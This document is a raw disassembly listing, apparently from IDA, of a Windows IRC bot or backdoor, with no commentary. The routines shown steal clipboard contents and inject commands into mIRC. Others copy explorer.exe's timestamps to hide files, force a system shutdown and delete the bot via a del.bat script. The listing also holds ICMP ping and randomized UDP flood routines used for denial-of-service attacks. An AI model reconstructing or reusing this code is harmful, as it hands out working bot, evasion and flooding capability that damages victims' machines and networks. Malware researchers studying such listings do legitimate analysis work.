loc_4052C3:				; CODE XREF: sub_40526A+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_4052EB


loc_4052C9:				; CODE XREF: sub_40526A+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_4052E6
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_4052E6
		cmp	edi, 258h
		jge	short loc_4052EB
		mov	[ebp+edi*4+var_960], ecx
		inc	edi


loc_4052E6:				; CODE XREF: sub_40526A+62j
					; sub_40526A+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_4052C9


loc_4052EB:				; CODE XREF: sub_40526A+5Dj
					; sub_40526A+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_405307
		lea	eax, [ebp+var_960]
		push	960h
		push	eax
		push	[ebp+arg_4]
		call	near ptr sub_40C820
		add	esp, 0Ch


loc_405307:				; CODE XREF: sub_40526A+84j
		mov	eax, edi


loc_405309:				; CODE XREF: sub_40526A+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40526A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40530E	proc near		; CODE XREF: sub_4077FD+23A2p
					; sub_4077FD+2B26p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_418044	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_418098	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_405347:				; CODE XREF: sub_40530E+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_405353
		cmp	cl, 9
		jnz	short loc_405356


loc_405353:				; CODE XREF: sub_40530E+3Ej
		inc	eax
		jmp	short loc_405347
; ---------------------------------------------------------------------------


loc_405356:				; CODE XREF: sub_40530E+43j
					; sub_40530E+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_405370
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_405356
		cmp	cl, 21h
		jl	short loc_405356


loc_405370:				; CODE XREF: sub_40530E+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_42D9A0
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_40D3F7
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40530E	endp


; =============== S U B	R O U T	I N E =======================================



sub_405398	proc near		; CODE XREF: sub_4077FD+32DCp
		push	esi
		push	0
		call	dword_42D848	; OpenClipboard
		test	eax, eax
		jz	short loc_4053CF
		push	1
		call	dword_42D868	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4053CF
		push	edi
		push	esi
		call	dword_4180A0	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_41809C	; GlobalUnlock
		call	dword_42D8C8	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4053CF:				; CODE XREF: sub_405398+Bj
					; sub_405398+19j
		xor	eax, eax
		pop	esi
		retn
sub_405398	endp


; =============== S U B	R O U T	I N E =======================================



sub_4053D3	proc near		; CODE XREF: sub_4077FD+2AB3p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_42D884	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40544F
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4180AC	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_4180A8	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_40C6C3
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_42D8D0	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_42D8D0	; SendMessageA
		push	ebx
		call	dword_4180A4	; UnmapViewOfFile
		push	edi
		call	dword_41807C	; CloseHandle
		xor	eax, eax
		pop	ebx
		inc	eax
		jmp	short loc_405451
; ---------------------------------------------------------------------------


loc_40544F:				; CODE XREF: sub_4053D3+16j
		xor	eax, eax


loc_405451:				; CODE XREF: sub_4053D3+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4053D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405455	proc near		; CODE XREF: sub_407041+20Fp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_42D92C	; SearchPathA
		test	eax, eax
		jz	short loc_4054F4
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_418084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4054F4
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_4180B4	; GetFileTime
		push	ebx
		mov	ebx, dword_41807C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4054F4
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4180B0	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_4054F4:				; CODE XREF: sub_405455+2Aj
					; sub_405455+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405455	endp


; =============== S U B	R O U T	I N E =======================================



sub_4054F9	proc near		; CODE XREF: sub_4077FD+EF1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_405D28
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_42D7D0	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_4054F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40551B	proc near		; CODE XREF: sub_4032EE+45Fp
					; sub_4077FD+34F2p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_41DE4C, esi
		push	edi
		jz	short loc_40553F
		cmp	dword_42D940, esi
		jnz	short loc_40553F
		push	esi
		call	sub_4031BC
		pop	ecx


loc_40553F:				; CODE XREF: sub_40551B+13j
					; sub_40551B+1Bj
		call	sub_40C225
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4180C4	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_418084	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40569F
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_418080	; WriteFile
		push	edi
		call	dword_41807C	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_40CC40
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_40CC40
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_4242F0
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_418094	; GetModuleHandleA
		push	eax
		call	dword_41804C	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4180C0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405647
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_4180BC	; SetFileAttributesA


loc_405647:				; CODE XREF: sub_40551B+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_40C6C3
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_4180B8	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_418078	; CreateProcessA


loc_40569F:				; CODE XREF: sub_40551B+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40551B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4056A3	proc near		; CODE XREF: sub_4069FF+247p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4056B0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4056B0:				; CODE XREF: sub_4056A3+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_4180C8
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_42E068, 1
		mov	ebp, eax
		jnz	short loc_4056ED
		or	byte_42E068, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_40D795
		pop	ecx
		mov	dword_42DE00, eax


loc_4056ED:				; CODE XREF: sub_4056A3+32j
		push	esi
		push	esi
		push	ebp
		push	dword_42DE00
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_42DE00
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4056A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40570A	proc near		; CODE XREF: sub_406D25+18Ep
					; sub_406D25+25Bp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_405775
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_405775
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_40E610
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_405775
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_42D788
		pop	edi
		leave
		retn
sub_40570A	endp


; =============== S U B	R O U T	I N E =======================================



sub_405775	proc near		; CODE XREF: sub_40570A+Ap
					; sub_40570A+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_405782
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405782:				; CODE XREF: sub_405775+9j
		push	ebx
		push	esi
		mov	esi, dword_4180CC
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_40D795
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_405775	endp


; =============== S U B	R O U T	I N E =======================================



sub_4057B6	proc near		; CODE XREF: sub_4069FF+1BCp
					; sub_4069FF+24Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_405775
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_405775
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_42D764
		pop	esi
		retn
sub_4057B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4057D9	proc near		; CODE XREF: sub_403CA3+83p
					; sub_40752C+4Fp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_42D8B4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_405801
		push	[esp+arg_0]
		call	dword_42D8F8	; gethostbyname
		test	eax, eax
		jnz	short loc_4057FA
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4057FA:				; CODE XREF: sub_4057D9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_405801:				; CODE XREF: sub_4057D9+Dj
		retn
sub_4057D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_405802	proc near		; CODE XREF: sub_40752C+D6p
		mov	ecx, dword_42D7B0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_405810
		jmp	ecx
; ---------------------------------------------------------------------------

locret_405810:				; CODE XREF: sub_405802+Aj
		retn
sub_405802	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405811	proc near		; CODE XREF: sub_4077FD:loc_40AA8Bp

var_C8		= byte ptr -0C8h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_42D8F0	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	short loc_405898
		sub	ecx, 32h
		jz	loc_4058D5
		sub	ecx, 48h
		jz	short loc_40586D
		sub	ecx, 6Eh
		jz	short loc_405866


loc_40584F:				; CODE XREF: sub_405811+85j
		push	eax
		lea	eax, [ebp+var_C8]
		push	offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP	cache: <%"...
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		jmp	short loc_4058C3
; ---------------------------------------------------------------------------


loc_405866:				; CODE XREF: sub_405811+3Cj
		push	offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache	is empty."
		jmp	short loc_4058B5
; ---------------------------------------------------------------------------


loc_40586D:				; CODE XREF: sub_405811+37j
		push	[ebp+var_8]
		call	sub_40CCCF
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_40CC40
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_4058B0
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_42D8F0	; GetIpNetTable
		cmp	eax, edi
		jnz	short loc_40584F


loc_405898:				; CODE XREF: sub_405811+29j
		cmp	[esi], edi
		jbe	short loc_4058CD
		lea	ebx, [esi+4]


loc_40589F:				; CODE XREF: sub_405811+9Bj
		push	ebx
		call	dword_42D8EC	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40589F
		jmp	short loc_4058CD
; ---------------------------------------------------------------------------


loc_4058B0:				; CODE XREF: sub_405811+75j
		push	offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to	allocation ARP ca"...


loc_4058B5:				; CODE XREF: sub_405811+5Aj
					; sub_405811+C9j
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_4058C3:				; CODE XREF: sub_405811+53j
		push	esi
		mov	[ebp+var_4], edi
		call	sub_40CD81
		pop	ecx


loc_4058CD:				; CODE XREF: sub_405811+89j
					; sub_405811+9Dj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4058D5:				; CODE XREF: sub_405811+2Ej
		push	offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"...
		jmp	short loc_4058B5
sub_405811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058DC	proc near		; CODE XREF: sub_4023B8+50p
					; sub_402E09+89p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_42D820	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_42E470
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_40C6C3
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4058DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_405935	proc near		; CODE XREF: sub_40B3F5+1C8p
					; sub_40B3F5+20Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_405960
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+8+arg_0]


loc_405953:				; CODE XREF: sub_405935+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_405953
		pop	edi
		jmp	short loc_405964
; ---------------------------------------------------------------------------


loc_405960:				; CODE XREF: sub_405935+Aj
		mov	esi, [esp+4+arg_0]


loc_405964:				; CODE XREF: sub_405935+29j
		test	ecx, ecx
		jz	short loc_40596D
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_40596D:				; CODE XREF: sub_405935+31j
		mov	ecx, edx
		and	edx, 0FFFFh
		shr	ecx, 10h
		add	ecx, edx
		pop	esi
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_405935	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405985	proc near		; DATA XREF: sub_4077FD+1A19o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_40CCA0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+120h], edi
		call	dword_42D80C	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_42D8B4	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4059E0
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_42D8F8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4059E6


loc_4059E0:				; CODE XREF: sub_405985+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_405A43


loc_4059E6:				; CODE XREF: sub_405985+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aPingErrorSendi ; "[PING]: Error	sending	pings to %s."
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_405A26
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_404555
		add	esp, 14h


loc_405A26:				; CODE XREF: sub_405985+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_403145
		push	[ebp+var_30]
		call	sub_40C378
		pop	ecx
		pop	ecx
		push	edi
		call	dword_418050	; ExitThread


loc_405A43:				; CODE XREF: sub_405985+5Fj
		cmp	eax, ebx
		jz	short loc_405A53
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_405A56
; ---------------------------------------------------------------------------


loc_405A53:				; CODE XREF: sub_405985+C0j
		mov	[ebp+var_4], esi


loc_405A56:				; CODE XREF: sub_405985+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_40CC40
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_405A76
		mov	[ebp+var_3C], eax


loc_405A76:				; CODE XREF: sub_405985+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_405A7E
		mov	[ebp+var_38], edi


loc_405A7E:				; CODE XREF: sub_405985+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_405AAB


loc_405A85:				; CODE XREF: sub_405985+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_42D7AC	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_405A85


loc_405AAB:				; CODE XREF: sub_405985+FEj
		push	[ebp+arg_0]
		call	dword_42D928	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aPingFinishedSe ; "[PING]: Finished sending pings to %s."
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_405AF4
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_404555
		add	esp, 14h


loc_405AF4:				; CODE XREF: sub_405985+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_403145
		push	[ebp+var_30]
		call	sub_40C378
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_418050	; ExitThread
sub_405985	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B11	proc near		; DATA XREF: sub_4077FD+1B6Eo

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_40CCA0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	dword_41805C	; GetTickCount
		push	eax
		call	sub_40CB55
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_42D8F4	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_42D8B4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_405BF6
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_42D8F8	; gethostbyname
		cmp	eax, edi
		jnz	short loc_405BEF
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_41CE28
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_405BD2
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_404555
		add	esp, 14h


loc_405BD2:				; CODE XREF: sub_405B11+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_403145
		push	[ebp+var_20]
		call	sub_40C378
		pop	ecx
		pop	ecx
		push	esi
		call	dword_418050	; ExitThread


loc_405BEF:				; CODE XREF: sub_405B11+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_405BF9
; ---------------------------------------------------------------------------


loc_405BF6:				; CODE XREF: sub_405B11+6Ej
		lea	eax, [ebp+arg_0]


loc_405BF9:				; CODE XREF: sub_405B11+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_405C14
		call	sub_40CB5F
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_405C17
; ---------------------------------------------------------------------------


loc_405C14:				; CODE XREF: sub_405B11+F0j
		push	[ebp+var_24]


loc_405C17:				; CODE XREF: sub_405B11+101j
		call	dword_42D878	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_405C29
		mov	[ebp+var_24], esi


loc_405C29:				; CODE XREF: sub_405B11+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_405C36
		mov	[ebp+var_24], eax


loc_405C36:				; CODE XREF: sub_405B11+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_405C4A
		mov	[ebp+var_28], esi


loc_405C4A:				; CODE XREF: sub_405B11+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_405CC3


loc_405C51:				; CODE XREF: sub_405B11+158j
		call	sub_40CB5F
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_405C51
		jmp	short loc_405CC3
; ---------------------------------------------------------------------------


loc_405C6D:				; CODE XREF: sub_405B11+1B5j
		dec	[ebp+var_30]
		push	0Bh
		pop	esi


loc_405C73:				; CODE XREF: sub_405B11+192j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_40CB5F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_42D8D8	; sendto
		push	[ebp+var_28]
		call	dword_418040	; Sleep
		dec	esi
		jnz	short loc_405C73
		cmp	[ebp+var_24], edi
		jnz	short loc_405CC3
		call	sub_40CB5F
		cdq
